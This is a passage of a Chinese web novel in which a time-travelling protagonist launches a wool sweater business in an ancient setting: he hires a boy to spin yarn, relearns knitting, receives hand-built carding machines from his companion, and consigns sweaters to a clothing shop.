姜淮愣住,他明明看过记忆中,并不存在羊毛制作的毛衣,才想着做毛衣生意,这要是已经有人做毛衣生意,那他这不是全浪费了。
姜淮手心发凉,感觉心也跟着凉了,他该不会得去做吃食生意了吧,第一次试图创业就要惨遭失败了。
虽然制作美食,姜淮也挺喜欢的,但是想靠做吃的发家,这难度一下子就上来了。
脑中千思万想,急得姜淮都出了一脑门的汗。
“姜公子,这线虽然是羊毛做成的,却结实得很,不会断的。”贺氏将姜淮的犹豫当成对这网线的不信任,赶紧解释道。
“羊毛做的线?”萧靖昭记得姜淮是被什么所困扰,出声道。
“对,是用羊毛做的线,你不放心可以扯扯看,绝对结实。”贺氏急切道。
姜淮强行稳住心神,没有办法不稳住,再慌下去也不是个事啊,总得搞清楚情况,万一羊毛生意真做不下去,他就改行。
只是这钱……
姜淮深吸口气,不往下想,大不了到时候做几件毛衣拿出去售卖。
不过想到这点,姜淮又猛地想起一件事来,如果说毛衣普遍的话,那他上次去买冬衣的时候,掌柜的怎么没有推荐呢,而且以对方对羊毛的态度来说,毛衣可能还不存在。
思及此,姜淮彻底冷静了下来。
“这羊毛线是你做的吗?”姜淮问。
贺氏点点头,生怕姜淮觉得这羊毛做的线不结实,又解释道:“公子,虽说大周这边很少有人用羊毛纺线,可草原上,用羊毛纺线的人不少,我这方法就是从那里……”
意识到自己说了什么,贺氏顿住,不知道该不该说下去。
姜淮算明白为什么自己看不到,草原那边纺线的技术一般很少会传到大周来的,而且姜淮再仔细看了看这毛线,发现和自己印象中的毛线比粗糙了不少,摸着也不算细软,显然前期的处理工作做得并没有多细致,只是会用羊毛纺线罢了,他倒是不用太过紧张。
不过这一张网的毛线粗细都是均匀的,并没有哪里粗哪里细,足见纺线人的手艺了。
姜淮想起自己之前准备找一个会纺线的人来帮他完成羊毛变毛线的工序,找谁不是找,眼前的贺氏就是个合适的人选了。
毕竟对方已经会一点用羊毛纺线的技术,实践经验丰富,而他的理论知识丰富,两者可以互助共赢啊。
姜淮看向贺氏的眼神不免有些炙热起来,贺氏被看得有些不自在,只是更多的还是有些疑惑。
因着容貌出色,之前贺氏没少被村里村外的汉子骚扰,对于那些男人黏糊恶心的目光,贺氏太熟悉了,而姜淮此时的目光虽说也很炙热,但又不像是在窥觊她,总之怪怪的。
“姜公子……”贺氏忍不住出声,想提醒一下姜淮。
“贺娘子,你愿不愿意来我这当个女工?”姜淮出声。
“女工?”贺氏脑子有些蒙,不知道姜淮怎么就聊到了这里,他们刚才不是还在说着装羊毛的事吗?
“我也不瞒着你,我买这些羊毛,就是想用羊毛来纺线,如今正好就卡在这一步,毕竟我也不会纺线织布,需要找一个会的人来帮我,既然你会用羊毛纺线,不如就来帮帮我,不过也不白让你做工,一日二十文钱工钱,日结,你看如何?”姜淮说道。
这个工价虽然不算低,但是姜淮考虑了下还是出了这个工价,毕竟是日结的工钱,说不定做不了几天,贺氏就不用干了,给少了对方不一定会愿意做。
尽管想不通姜淮是怎么说到这一步的,可这个工钱却是让贺氏怦然心动。
只是很快,贺氏又清醒了过来,她若是去做工了,骆远要怎么办,况且她现在的身体还病着,要喝药,每日在家中歇着倒还好,可要是去做工,就怕病情加重,到时候又耽误做工。
“我,我可以做吗?”不等贺氏拒绝,站在门外的骆远跑了进来,到姜淮面前毛遂自荐。
“娘纺线的时候我也跟着做了,这,这个是我做的网线。”骆远手里还拿着一张网线,眼巴巴地看着姜淮。
毛线粗细倒是很均匀,但是姜淮看看瘦小的骆远,有点不太敢相信骆远的话。
骆远看出姜淮的疑虑,却也看出姜淮没有拒绝的意思,伸手想要拉着姜淮去看他纺线,只是手刚伸到一半就被萧靖昭给拦住了。
“姜公子,我可以现在就纺给你看。”
骆远一溜小跑,很快就去拿了些处理好了的羊毛,姜淮瞥了一眼,发现和自己处理好的羊毛还是有些区别,然后就看着骆远坐到纺车边上,熟练地操作起来,很快就纺出了一小卷的毛线。
虽然因为有些急切,导致毛线的质量有些差,但显然这也足以证明骆远纺线的本事。
虽说骆远的年纪小点,但是只要骆远能纺线就不错,而且骆远还有一个优势,他是个男孩子,如果是贺氏去做工的话,他们那边暂时只有两个男人在,让贺氏过去,对方指不定就要被人指指点点了。
可要是让对方在家做,两边又没有办法及时沟通,麻烦也比较多。
可要是让骆远去,反正宅子很大,让骆远住着也没有问题,对方吃住都可以在城里解决。
不过骆远唯一的缺点就是年纪小了点,贺氏会愿意让骆远跟他们走吗?
在听到姜淮的询问时,贺氏低头看向一旁的骆远,对方眼中满满地坚持。
“姜公子,我和远儿说一说吧。”贺氏说着就拉着骆远去了外面。
两人在外面聊了什么,姜淮不得而知,只知道聊完后,贺氏直接同意了让骆远跟着他们去安远府做工的事。
“娘,你一个人在家要好好的,千万记得喝药……”虽然提出要跟着姜淮做事的是骆远,可是眼看着真的要跟着姜淮走了,骆远又有些恋恋不舍,各种担心贺氏一个人在家会不安全。
听着骆远的叮嘱,姜淮没忍住敲了敲他的脑袋,就看到骆远泪眼汪汪地看着他,一副不解的样子。
“我们这才拿了多少羊毛走,如果羊毛纺线能做成的话,估计时不时地就得过来拿羊毛,说不定五天就能看你娘一次。”姜淮无奈道,他可不想让自家好不容易招来的小员工因为想念家里人哭得眼睛都红了,别到时候耽误了做事。
“五,五天?”骆远张大嘴巴,难得露出了傻样。
贺氏眼中的泪水也有点流不下来了,看看姜淮带着的羊毛,再想想自己刚才的表现,悄脸红到了耳根,倒是给有些苍白的脸增加了一些血色。
骆远擦擦眼泪,神情比刚才好了不少,有些羞涩地和贺氏道完别,就跟在姜淮和萧靖昭身后准备离开。
姜淮提着羊毛甩到后背,忽然发现似乎是有人在观察他,左右搜寻一圈,发现是个年纪有些大的老头,站在村口朝这边张望,跟着一起张望的还有几个人。
见到姜淮看过去,老头拄着拐杖走了过来,打了一声招呼,自称是这弯头村的里长,询问姜淮来这是有什么事?
姜淮注意到老头眼中的警惕,倒不觉得自己做的事有什么说不出口的,直接将来意说明。
最主要的是,姜淮感觉剩下那几人朝这边看过来的眼神似乎不太友善,虽说这不友善主要是针对的贺氏和骆远,姜淮怀疑不说清楚的话,指不定又会有一些风言风语,贺氏生活在村子里,哪怕算是在村口外面一点,可多少还是会受影响的。
得知姜淮是来买羊毛的,里长眼睛一亮,他们弯头村土地都不算肥沃,虽说也种地,但也会养些羊,平时也积攒了不少羊毛,只是羊毛若是放到别处还能卖点价格,可安远府羊毛人人家中都有,自然就卖不出什么价格。
难得有人来收羊毛,若是能让姜淮将村子里的羊毛收走,家家户户这个年也要过得舒坦一些了。
面对里长的热情推荐,姜淮也没有彻底拒绝,毕竟他真把毛线做出来了,对羊毛的需求量可是大得很,可是在事情还没有定下前,他也不敢大包大揽,况且连对方的羊毛质量如何都没有看过,怎么也不能一口答应下来。
没有将羊毛推销出去,里长有些失望,却也没有太失望,因为从姜淮的口风中,他知道这门生意也不是完全没有可能。
看着里长回来,旁观的几人围了上去,试探着询问,得知姜淮是来收羊毛,还是收的贺氏的羊毛,忍不住说了几句闲话。
“行了行了,那骆远都给人当织工去了,你们说那贺氏的坏话,让他听到了,万一他也给我们村说坏话呢。”
要是骆远没有跟着姜淮他们做工,里长倒是不在乎这事,可眼看着贺氏那边和姜淮不只是客商关系,还有主家和员工的关系,那就得小心点。
第26章 第 26 章
回去的路上, 骆远还帮着姜淮抬了一会羊毛,他从小就是看着人的脸色长大,出来时里长的神情变化他都看在眼里, 对姜淮也是感激异常。
可以说有姜淮的那番话在,他娘在家里待着,不至于被村里的人说些闲话。
别说, 有个人帮忙在后面抬着羊毛, 姜淮是感觉轻松了一些。
虽然羊毛也不算重,可是只用网线兜住, 重重地垂在后背, 勒得肩膀有点不舒服, 有个人托着, 肩膀就轻松了一些。
路上, 姜淮还和骆远聊了一会,得知骆远是遗腹子, 贺氏独自将他辛苦带大, 两人是四年前来到弯头村的,开始的时候因为贺氏的容貌还被附近的浪荡子骚扰过, 以至于村里有了些贺氏的流言蜚语。
一时间姜淮也不知道该说什么,只能无言拍拍他的肩膀安慰他。
“公子, 这次多亏你和里长说了,不然我娘又……”骆远感激道。
“你是我的员工,我肯定要照顾着点。”姜淮笑道。
萧靖昭看着姜淮被骆远几句感谢哄得眉开眼笑,莫名有些气闷。
进城后, 姜淮还不忘去各处的成衣铺和布行看看, 转了一圈下来,姜淮还真发现了羊毛做成的衣服, 只是仔细观察了一番,姜淮松了口气。
这种羊毛衣服看着是穿在外侧的,尽管没有摸,但也看得出来衣服不算贴身,和毛衣的区别很大,对毛衣造成不了什么影响。
观察了一番敌情后,确定优势还在,姜淮就带着萧靖昭和骆远回去。
三人一前一后地走着,萧靖昭瞥见对面朝他走过来的人,瞳孔微缩,和来人对视了一眼,脚步微顿,就继续跟上了姜淮。
这一瞬间的停留并没有被姜淮发现。
……
有了骆远帮助,姜淮研究毛线的效率一下子提高了不少,很快,一卷毛线就被纺了出来。
毛线纺出来的时候姜淮还在研究如何给羊毛去污,一开始他是用草木灰,但是单单用草木灰成本也有些高,毕竟羊毛的油脂还挺多的,最后还是听骆远说的,用沸水和黄沙也能去除一部分油脂,这才又降低了一些成本。
“公子,毛线做出来了!”骆远激动地给姜淮报喜。
“做出来了?”姜淮扭头,就看到骆远手中拿着的毛线球,细细的毛线卷成一团,和现代五颜六色的毛线球比,毛线球呈现出淡淡的白色,略微带了点灰,是羊毛的本色。
姜淮伸手接过毛线球,和自己以前摸过的手感对比了一番,发现还是有些粗糙,手感没有那么绵软,虽然知道不可能达到现代的水准,还是忍不住叹了口气,真的是回不去了。
“公子,是做得哪里有问题吗?”骆远以为是自己纺线出了问题,紧张起来。
“没有,我只是想到了别的事。”姜淮摇摇头,仔细打量手中的毛线球,扯了扯,骆远的手艺很好,毛线纺得很扎实,夸奖道,“做得不错啊。”
骆远脸上微红,被夸的有点不好意思了。
姜淮将毛线放到一边,起身去拿他事先准备好的几根针织棒,这是萧靖昭做的,将木棍削好,两端磨尖,打磨光滑。
“公子,这是要做什么?”骆远有些好奇。
“织点东西,试试看这个羊毛线的效果如何。”姜淮有些含糊地说,倒不是想要瞒着骆远,而是他也不知道自己能不能织成,毕竟都多少年没有碰了。
姜淮努力从记忆中翻出了织毛线的画面,还没来得及多高兴一会,就发现自己脑海里只有织了一部分,然后再接手的毛衣图,怎么开始就不记得了。
姜淮深吸口气,平心静气,他也是不得不平心静气,毕竟这些天为了弄毛线,也是把他折腾得不轻了,失败了好几次。
现在织毛衣也遇挫,这不是很正常的事嘛。
姜淮想着自己以前看过的毛衣底的模样,一点点地尝试,试错了就拆了重新做,好在毛线拆起来不难。
一天的时间,姜淮都在回忆、织、拆中度过,连饭都没有做,还是骆远去做的。
姜淮本来是要给骆远钱,让他去外面吃食摊上买,但这小家伙不知道是不是因为在宅子里住了几天,知晓羊毛研究的开销大,姜淮也不太富裕,不肯要这个钱,说自己会做饭,只要去买点粮食就能回来做饭。
姜淮就让他去买了些鸡蛋,刚好宅子里的鸡蛋也吃完了,他们这几天是连吃了好几天的鸡蛋羹。姜淮本来以为自己会吃腻蛋羹,可是因为其他食物的味道过于普通,他也没有时间去做别的好菜,鸡蛋羹反而成为饭桌上最美味的一道菜。
骆远这几天也是跟着一起吃的,自然也知道蛋羹怎么做,很快就收拾出了一顿饭,姜淮草草吃过后就继续研究如何织毛衣。
好在他这一天的辛苦没有白费,日头西落前,姜淮总算是复原出了记忆中的毛衣织法,有没有错误他不知道,反正多织了一会,能织出记忆中的模样。
看到姜淮将毛线织成类似布料的形状,而且看着还很是软绵,骆远张大嘴巴,感觉很是神奇。
骆远平时接触羊毛多了,自然知晓羊毛是什么样的,可以说用羊毛线做的衣服绝对没有姜淮这样织出来的软。
如果不是亲眼看着姜淮织出布料,骆远都不敢猜这是他纺出来的羊毛线。
骆远左右看了看,注意到他先前带来的网线还挂在墙上,几步冲过去摸了摸。
没错,还是硬硬的,可以想象,就算将这些线织成绵密的布条,手感也不会太好。
姜淮没有注意骆远的动静,正沉浸在好不容易将织法复原出来的快乐中,手下动作不停,很快就将一小块布料扩大了一圈,成就感满满。
骆远不知何时也凑了过来,盯着姜淮手中的动作,眼中满是惊奇。
姜淮兴奋了一阵,注意到骆远的目光,像是看到小时候的自己,小时候他看到家里的大人织毛衣,也是感觉这般神奇,就轻轻松松的几个动作,就将线给编织了进去,而且越看越简单,跃跃欲试,觉得自己也能做。
只是当大人笑着真让他来织毛衣,才发现不是那么容易的,不说针数,一不小心还会漏,等后面发现有个地方没有织上,除非就这么不管,不然就只能拆掉重新编。
“你要不要试试看?”姜淮挑眉,将手里的针织棒连着毛衣毛球一起递了过去,“要是会,到时候成本价给你几个毛线球,你也织一件毛衣穿,也给你娘织一件。”
“毛衣?”骆远手忙脚乱地接过这一捧毛衣,像是搂住易碎的珍宝,听到姜淮的话猛地抬头,“公子,这种独门技法你要教我吗?”
骆远是亲眼看着姜淮为了复原出这个织法,如何殚精竭虑,而看姜淮织出来的这块布如此柔软,就知道这织法的珍贵了,他刚刚看的时候姜淮没有让他别看,骆远就很感激了,可现在,姜淮居然要教他这种神秘的编织手法。
尽管很想学,可是骆远还是赶紧摇摇头,他这几日已经占了姜淮的便宜,娘教他要知恩图报,不能过于贪心,他不能学。
骆远连连摆手,一副绝对不能让姜淮上当的样子。
“停,你觉得我研究这毛线和织法是想做什么?”姜淮叫停。
骆远下意识地想要摇头,可见姜淮一脸认真,动作顿住,仔细想了想,肯定道:“公子想赚钱。”
好吧,问错了。
姜淮重新问:“毛线是新东西,如果要卖的话,必须让其他人知道毛线能用来干什么,那这织法还能瞒住吗?”
骆远愣了下,好像反应过来了,不过很快他就想起姜淮刚才说的毛衣,顾名思义,应当就是羊毛线做的衣裳,这织法能直接做出衣裳,岂不是比他想的还要珍贵。
听着骆远的反驳,姜淮没想到这小子举一反三的速度还挺快。
“好吧,你说对了,这个织法现在是挺珍贵的,我应该会先卖毛衣,等后面货多了,才会把织法给教出去。”姜淮说道,不等骆远开口就继续道,“但是我看你顺眼啊,所以就先教你织法,你会了之后,会把这个教给别人吗?”
骆远使劲摇了摇头。
“我教给你之后,你到时候就在我这边织吧,等毛衣织好,不要显露出来就是。”姜淮揉了揉骆远的脑袋,然后教起骆远如何织毛衣。
骆远的手确实巧,脑子也灵活,姜淮教了一会,骆远就成了个半熟练的织工,一双手灵活翻动,很快就将毛衣扩大了一圈。
等萧靖昭回来,就看到两人凑在一起,手里拿着一大块材质有些怪的布料。
第27章 第 27 章
“这是羊毛线织出来的布?”萧靖昭略微思考, 反应过来。
他虽然没有亲眼看着毛衣被织出来,但是对姜淮这几天的研究还是了解的,所以一看两人手上的布料, 就猜了个七七八八
只是再怎么猜,萧靖昭也没有想过这毛衣是直接从线变成衣裳,而不是从线变布, 再裁剪出来, 哪怕他也看出这布料好像有些奇怪,却没有往这方面想。
“不是布, 是毛衣。”姜淮摇头, 纠正萧靖昭口中的错误。
“毛衣?”萧靖昭定住, 仔细地看了一番姜淮手里的这块布料。
“这里算是腰围下摆。”生怕萧靖昭看不懂, 姜淮还解释了一下, 被姜淮这么一说,萧靖昭倒是有些确认了。
只不过……
“这衣裳是不是织得小了点?”萧靖昭皱眉, 除非是给小孩穿, 不然腰围如此窄小,怎么穿得下。
除非这是给骆远织的, 萧靖昭不自觉抿唇。
“没有,这是均码, 给你织的。”姜淮摇头,这件毛衣他织的时候是用的萧靖昭的腰围,毕竟现在萧靖昭出门还是穿着之前的单衣。
之前买的冬衣,本来是说两个人换着穿, 但是萧靖昭非说姜淮待在屋子里不走动更容易冷, 他身上这身总比囚服要厚实一些,就一直不肯穿。
所以毛线一做出来, 姜淮想的就是赶紧给萧靖昭织一件,保暖要紧。
给他织的?
听到姜淮的话,萧靖昭愣住。
姜淮还等着萧靖昭继续问呢,毕竟古代的衣裳,就他见过的,都没有毛衣这种弹性,结果等了一会儿才发现萧靖昭不吭声了。
姜淮抬头,就看到萧靖昭神情带着点说不出的复杂。
姜淮忽然想起,似乎很少听萧靖昭提起家里的事,父母更是从来没有提过,自己不提是因为穿越,也是因为原身父亲早逝,母亲改嫁了,萧靖昭不提……
思及此,姜淮心底叹了口气,也有点看出萧靖昭脸上神情可能蕴含的意思。
决定先不说这毛衣的弹性,准备给萧靖昭一个惊喜。
……
织毛衣其实有些枯燥,如果有手机电脑之类的娱乐设施,随便织两针,姜淮可能就烦了,但是待在宅子里,也没有什么事要做,姜淮就把织毛衣当成一种娱乐手段。
骆远也在跟着一起织,不过就没有在织给萧靖昭的这件毛衣上练手,而是另外织了一件,毕竟他算是生手,万一织错了返工也挺麻烦。
只不过两个人一起织,姜淮就发现毛线的生产速度是真的挺慢的,再一算,发现如果不能改进下生产毛线的工艺,那这毛衣的成本就又要提高一些了。
好在回忆了一番自己看过的科普小视频,姜淮硬是挖出了两台纺毛的机器外形。
一台是用来梳理羊毛,并且拉扯羊毛变直,并且缠绕成一个粗粗的羊毛团,还有一个就是用梳得又薄又直的羊毛团捻成线。
但是问题又出现了,科普小视频只是对准了羊毛处理过程那一面来拍摄,并没有整个机器的模样,想要做出一样的机器来,又需要研究折腾,而且这研究起来又花时间又消耗精力的,可能银子也要不少花。
姜淮盘算了下剩下的银子,准备暂缓研究,先等毛衣赚钱了再说。
只是姜淮没有想到,他身边居然有个手工大佬。
姜淮一心想着快点把毛衣给萧靖昭织出来,倒是没有注意萧靖昭这几天没有怎么出门去,待在另一边屋子里,时不时地还喊骆远过去,不知道是在做些什么。
而且不知道是不是他的错觉,总感觉羊毛消耗的速度好像有点快,让姜淮怀疑是不是有小鸟来他家偷羊毛,叼着回去做窝了,但除非是几十只鸟,不然不至于消耗得连他都注意到吧。
另一边屋子里。
萧靖昭盯着眼前的机器,脑海中回忆着姜淮说过的话,因为当时说得兴起,姜淮还在黄沙上画了一些机器一眼看上去的样子,又对机器做了一些调整。
确定机器调整到位,萧靖昭拿起一旁的羊毛,将清洗干净的羊毛让机器底座的尖齿上放去,然后一前一后地拉着上侧的拉杆,两排斜面尖齿相向而行,一团团的棉花被迅速撕扯开,比起靠人手梳理,这效率一下子就提高了许多。
萧靖昭松了口气,接着试验下一台机器,一点点地将手边的羊毛全部梳理成毛团的样子,才喊骆远进来,将这些毛团纺成线。
纺线这一步,姜淮说得也不算太清楚,不过用骆远本身就会的纺线技术也够了。
骆远看着这一大团已经梳理好的羊毛,动作熟练地操作起来,很快就将毛团纺成了毛线。
只不过看向一旁机器时,眼神依旧有些震撼,其实在姜淮说机器速度会快些时,骆远虽然相信,但是没有太多实质性的感受,可等萧靖昭按照姜淮说的,将机器调制出来后,骆远才感觉到机器的效果有多好。
这机器可比人要快了太多,并且还没有那么累。
“魏公子,那这机器什么时候给公子看看?”骆远知道萧靖昭可是一直瞒着。
“饭后说吧。”萧靖昭一开始不告诉姜淮,是因为担心没有做成,让姜淮白高兴一场,然后后面瞒着,则是想给姜淮一个惊喜了。
他不知道,姜淮那边也已经将毛衣织得差不多了,就等着待会吃饭时给他。
……
饭桌上,这顿饭吃得格外沉默,姜淮就感觉到有点不对劲。
平时吃饭虽然也很少说话,但气氛总归是比较轻松,今天怎么感觉饭桌上气氛有点紧绷。
姜淮目光从萧靖昭和骆远脸上扫过,尽管两人的表情都没有什么变化,但姜淮总感觉这两人似乎藏着什么话,是错觉吗?
姜淮提起吃完饭,趁着两人还在吃的功夫,起身回房拿出毛衣,仔仔细细地折叠了起来,毛衣是他送给萧靖昭的礼物,虽然现在不能大肆包装一番,但也不能就这样提着去给萧靖昭,该有的仪式感还是要有的。
折腾了好一番,姜淮感觉自己把毛衣折叠得很完美了,拿起一边的木板充当托盘,端着就出门了。
“当当当!”发现萧靖昭和骆远站在院子里,两人并排站着,姜淮没有多想,自带出场音乐,端着毛衣走到萧靖昭面前。
“请魏公子收下礼物。”姜淮眉眼弯弯。
要不是两人声线不同,姜淮这话差点让萧靖昭以为是自己在说。
“这是之前的毛衣,已经做好了?”尽管毛衣叠得整整齐齐,但是萧靖昭这几天一直接触,一眼就看到这是姜淮之前织的毛衣,可他明明记得姜淮说织毛衣快不起来,现在就织好了。
“白天多织了一会,天气越来越冷,你穿上试试看,暖不暖和。”姜淮催促道。
萧靖昭接过毛衣,却没有立刻穿上,而是说:“我也给你准备了礼物。”
“礼物?哪里?”姜淮盯着萧靖昭的手看,对方手上除了他给的毛衣,其他什么都没有,难道说藏在身上吗?
萧靖昭往左迈了一步,骆远朝右迈了一步,露出身后的机器来。
“这是?”姜淮虽然感觉这两台机器看着有些眼熟,但还不太敢确定。
萧靖昭拿出事先准备好的羊毛,直接用两台机器做出了梳理好的毛团,然后骆远接手将毛团捻成毛线,两人的动作行云流水,显然不是第一次做了。
“你这几天就是在做这个?”姜淮忽地想起萧靖昭这几天的动向,恍然大悟,激动起来。
萧靖昭有点受不了姜淮这亮晶晶的目光,微微侧头后才点点头。
这是什么大佬!
姜淮被震撼到了,就他那粗糙的形容,意识流的画风,萧靖昭居然能根据他说的做出两台差不多的机器,这动手能力也太强悍了些。
不过看着眼前这两台机器,姜淮忽然想起什么,一把拉住萧靖昭的手看了起来,这一看,上面星星点点的伤痕让姜淮抽了口气。
姜淮想说怎么不找个工匠来说,但是又很清楚,他们现在的情况,除非自己做,找工匠一来花钱太多,二来机器可能也没有办法做到保密。
如果等羊毛毛线生意做大了,他们倒是可以雇佣一批忠于他们的工匠,但是现在的情况,真去找工匠,几乎是等于把秘密暴露出去。
“我去买点外伤药,之后几天我来做饭,你就别动手做事,好好地把伤养好。”姜淮深吸口气道,只是看着那双手上的伤痕,忍不住有点心痛。
姜淮感觉自己好像是个小白脸,用以后会飞黄腾达,拐带一个女孩和他一起受苦,怎么越想越渣。
“一点小伤,没事,不用买药,很快就会好的。”萧靖昭并没有把这些伤痕放在眼里,反倒是姜淮对这些伤的在意让他有些说不出的不自在,下意识想将手从姜淮手里抽出,只是被姜淮捧在手心的手却一动不动,不听他的指挥。
看着姜淮对萧靖昭嘘寒问暖,骆远眼中有些羡慕,他又有点想娘亲了,也不知道娘在家里好不好。
“你刚才不是要我穿着毛衣吗?我赶紧穿穿看。”萧靖昭感觉自己像被姜淮当成孩子哄了,有些不自在地想要脱离这种情况。
“可是你手上的伤,等下,我来帮你穿,你这个手不要动。”姜淮说着,帮萧靖昭将毛衣的两只袖子挽起,避免穿的时候,毛衣刺到伤口,一番折腾下来,总算是把毛衣给穿上了。
毛衣穿上,萧靖昭感觉身体被束缚得紧紧的,但又不是那么死紧,而像是带着点弹性,原本的不自在一下就被转移了。
“这毛衣刚好合身?”萧靖昭有些惊讶。
“毛衣就是这样的,你看这线有这么粗,所以会有点透风,如果不紧一点,保暖效果就会差不少,而且羊毛也有弹性啊。”姜淮帮萧靖昭将外衣套上。
刚穿上是有点不太适应,萧靖昭感觉手臂都不知道要怎么伸展,不过多穿了一会,萧靖昭就习惯了些,最主要是身体确实暖和了起来。
他身上这件单衣并不算多厚,秋初穿着还行,可如今都快入冬,安远府又比别处要冷些,站着不动时是会有些凉意,可现在穿上这毛衣,人站着不动,身体就已经暖和了起来。
萧靖昭记得他和姜淮之前去看过的羊毛衣,暖和不暖和的暂时放一边,就贴身程度,以及制作成本,这毛衣绝对比那羊毛衣要好,成本也更低。
听着萧靖昭的感慨,姜淮挑眉:“那当然,要是毛衣不比羊毛衣好,怎么拿出去赚钱。”
第28章 28
穿了一会毛衣, 萧靖昭第一反应就是这毛衣可以军用,安远府苦寒,可等到最冷的时候, 军中将士的战斗力都被寒冷严重削弱,冻病乃至冻死的人都不少。
卫家在时,对军中后勤重视异常, 可送来的冬服还是不够御寒, 可要再多穿,身形又过于臃肿, 行动更不便了, 这毛衣可以抵几件冬服了。
而且在京都, 羊毛的价格可能贵些, 可在安远府, 只要愿意大批量的购买,不光是附近养羊的百姓愿意便宜卖, 甚至连蛮族靠近安远府的一些部落可能都会赶来卖羊毛, 以成本价购买羊毛,再纺线织毛衣, 不需要花多少银钱就可以让将士穿上毛衣了。
只是想到卫家现在的处境,而安远府又是苏家管着, 萧靖昭就清楚他的想法是空想。
想到前段时间打听到的消息,萧靖昭微微翘起的唇角又扯平了。
“怎么?有哪里穿着不舒服吗?”姜淮注意到萧靖昭的表情变化,问道。
萧靖昭摇摇头,搪塞了过去。
……
有机器, 毛线的制作速度就快了起来, 很快就把从贺氏那买来的羊毛给用光了,这次不用姜淮亲自出动, 骆远就帮着去收了些羊毛。
一边纺线,一边织毛衣,很快,新的几件毛衣就做出来了,姜淮顺便还织了毛裤。
姜淮准备拿出去试试水,一个新的商品出现必然不会很受欢迎,但新商品也意味着稀罕,只要推销得当,也能卖出高价。
姜淮盘算一番,带着毛衣出门。
方记成衣铺,掌柜的站在门口招揽客人,只可惜行人匆匆,无人停留。
“姜淮?”远远看到有人朝这边走来,方掌柜正要招揽,却发现来的是熟人,“你要来买冬衣了?”
方掌柜眼底透着惊喜,虽然姜淮之前说过可能会买,但他都当那是套话,没想到姜淮真的会来,热情的迎了上去。
“你来的刚好,新做了一批冬衣,暖和着呢,你看看要哪件?”方掌柜迎着姜淮到店内坐下,还殷勤的帮姜淮提着手里的布袋,不自觉掂了掂,这手感怎么像是提着有些沉的衣裳?方掌柜脑海闪过一丝疑惑。
“方掌柜,您别忙活,我来,是有桩生意想和你做。”姜淮拦住去取衣裳的方掌柜,解开布袋,捧出毛衣。
方掌柜也算见多识广,哪怕毛衣的形制他从来没有见过,可也看出这大概是一件衣裳。
等会,姜淮说的生意该不会就是要当这件衣裳吧?
方掌柜开口就想拒绝,眼角余光却瞥见姜淮手上的伤痕,顿了顿道:“姜淮,我这是成衣铺,你若要当,便只能死当。”
“掌柜的,您想哪里去了。”姜淮笑着摇头,将毛衣放到柜台上,邀请道,“您摸摸这毛衣?”
方掌柜狐疑的瞥了眼姜淮,这小子葫芦里卖的什么药,不过衣裳他倒不怕摸坏,用手背轻轻的抚了抚。
好软!
好暖!
“这是什么料子?”方掌柜眼睛放光,不等姜淮开口,又暗自猜测起来,只是一种种布料在他脑海中掠过,却都无法对上。
“掌柜的,您觉得这衣裳如何?”姜淮避而不谈,反问道。
方掌柜缓了缓才控制住看到新面料的激动,举起毛衣看了起来,眉头不禁皱起。
这衣裳刚才看就怪,现在看更怪,而且这衣裳似乎没有接口,浑然一体,倒有些新奇。
“这衣裳布料不错,就是这样式怪了点。”尽管刚才还震惊的不行,可出于生意人的本能,方掌柜还是找了些缺点,话锋一转,“你刚才说要和我做生意,是做什么生意?”
“掌柜的,明人不说暗话,这衣裳一件卖十两银子,放您店里寄卖一旬,但是您能将这衣裳卖出多少银子,我就不管了。”姜淮眨了眨眼睛,一派自信道,一点也看不出刚把售价给改了。
出门前,姜淮根据羊毛成本和手工成本,以及当地冬衣的价格,将毛衣售价定为一件五两银子,但是看方掌柜对毛衣的喜爱,姜淮就将价格给提了提。
大不了让方掌柜再砍砍价。
十两银子的价格让方掌柜一阵抽气,他这铺子也不是没卖过贵衣裳,可这价格是真高啊!
而姜淮说的寄卖又让他有些心动,只是放在店里,万一卖不出去还能还给姜淮,似乎也没有多少损失。
不过方掌柜还想讲点价,毕竟价格低点,他能赚的就更多了。只是他之前的态度让姜淮心中有底,装出抬脚就走的架势,方掌柜顿时就不讲价了,连忙让姜淮将毛衣留下。
“你这里还有几件毛衣吧?”方掌柜还记得方才提袋子的分量,明示道,“也都放我铺子吧,十两一件的价钱,这要想卖出去,必须得是独家生意。”
姜淮很痛快的将毛衣留下,两人还签了一份私人契书,毕竟这毛衣要是真按照姜淮说的价格卖出去,也算是贵重物品了。
……
将几件毛衣毛裤留下,方掌柜兴奋之余又有些担忧,这衣裳真的能卖出去吗?卖不出去他倒是不亏什么,可没赚上钱就更难受了。
不知是不是运气来了,接下来两天铺子里迎来了好些客人,方掌柜专挑那些有财力买毛衣的客人推销,只是却连连碰壁,哪怕对方摸着毛衣觉得手感软和,可对形制却有些疑虑,加上价格又算贵,都没有买。
眼看着时间一天天过去,方掌柜有些着急,店内又迎来了新客。
陈家二少臭着一张脸进店来,让人将他新做的衣裳给拿出来。
方掌柜赶紧去取,看着送来的黑色裘衣,陈家二少有些嫌弃:“怎么这么厚?这穿出去岂不是像个熊瞎子?”
方掌柜沉默一瞬,以往买冬衣,来客都是嫌不够厚,他还是头一次见人嫌冬衣太厚。
“给本公子找找看,有没有薄一些的。”陈家二少嚷嚷道。
随身服侍的仆从苦着脸,低声道:“公子,老夫人让您穿厚实些,当心着凉……”
“去去去,你怕什么,到时候便说这铺子里就这么厚,老太太难不成还能来这铺子里查看。”陈家二少一脸不耐烦。
仆从脸上更苦涩了些,老太太是不能来查看,可管家能看啊,到时候发现二少撒谎,难过的还不是他们这些跟过来的下人。
听着两人的对话,方掌柜脑海中迅速闪过一个念头,毛衣有着落了。
和其他的冬衣相比,毛衣就要轻薄不少,而且他这几天也小心的试穿了一番,发现果如姜淮说的那般,内里穿着里衣,再穿一件毛衣,最外哪怕穿的单薄些都不冷。
若是和毛裤一起穿,那更是浑身暖和的不像话,都有些燥热了,在铺子里待都有些待不住,得出去走走散散热。
“陈公子若是想要轻薄一些的衣裳,小店倒是有些。”方掌柜赔笑道,“只是这价格有些高。”
“呦呵,你和本公子玩激将法?”陈家二少眯起眼睛。
“不敢,是这衣裳确实不便宜,一件便要十五两银子。”方掌柜连连摆手,他之所以这样说,也是想提前打个招呼。因为之前招待的几个客人,本来对毛衣有兴趣,听他一说价格,顿时就没了兴趣,甚至有些觉得他是在宰客。
他这才想着提前说清楚,总好过之后被陈家二少误会,那些客人误会也就算了,陈家二少这暴躁脾气误会了,指不定还没等他解释就要挨一顿打。
这个价格倒是让陈家二少有些兴趣了,让方掌柜把衣裳拿出来给他看看。
方掌柜赶紧将毛衣取了出来,犹豫了下,方掌柜将毛衣毛裤一起拿了出来。
